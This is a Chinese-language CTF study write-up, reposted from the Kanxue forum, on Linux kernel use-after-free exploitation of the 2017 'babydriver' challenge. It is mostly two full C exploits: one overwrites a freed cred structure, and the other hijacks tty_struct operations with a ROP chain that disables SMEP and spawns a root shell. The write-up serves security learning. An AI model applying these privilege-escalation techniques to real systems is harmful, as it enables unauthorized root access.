其他
Linux Kernel Pwn 学习笔记 (UAF)
本文为看雪论坛优秀文章
看雪论坛作者ID:Vinadiak
0x01 背景知识
0x02 2017国赛 babydriver
保护分析
逻辑分析
0x03 编写EXP
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/babydev",O_RDWR);
fd2 = open("dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2,cred,28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}
一些编写exp的技巧我已写在上一篇文章中。
1.fd1,fd2打开device;
2.fd1用ioctl 让 device 去 malloc 0x2e0大小的堆块后free掉;
3.fd3打开ptmx创建tty_struct到device_buf的地址;
4.fd2读取tty_struct到用户的buf中;
5.利用uaf,让fd2的重写tty_struct,将里面的tty_operation劫持到我们伪造的fake_tty_operation,fake_tty_operation放入rop,使用write的时候即可调用rop;
6.fd3执行write,调用tty_operation[3],这里放入mov,rsp,rax执行栈劫持,rax是我们fake_tty_opeartion的结构体,就可以实现rop了。
//poc.c
//gcc poc.c -o poc -w -static
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void* fake_tty_opera[30];
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
int fd1,fd2,fd3,i=0;
size_t fake_tty_struct[4] = {0};
size_t rop[20]={0};
save_stats();
rop[i++] = 0xffffffff810d238d; //pop_rdi_ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; //mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; //swapgs_pop_rbp_ret
rop[i++] = 0x6161616161;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffff8181bfc5; //pop rax,pop rbp,ret
}
////pop rax; pop rbp; ret;
fake_tty_opera[0] = 0xffffffff810635f5;
fake_tty_opera[1] = (size_t)rop;
//当调用write时,就会指向3,此时mov rsp,rax ; dec ebx ; ret
//执行完后,rsp=fake_tty_opera[0],就会执行从我们构造的栈,执行了。
fake_tty_opera[3] = 0xffffffff8181bfC5;
fake_tty_opera[7] = 0xffffffff8181bfc5;
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_opera;
write(fd2,fake_tty_struct, 32);
write(fd3,"cc-sir",6); //触发rop
return 0;
}
0x04 总结
看雪ID:Vinadiak
https://bbs.pediy.com/user-home-855782.htm
*本文由看雪论坛 Vinadiak 原创,转载请注明来自看雪社区
推荐文章++++
求分享
求点赞
求在看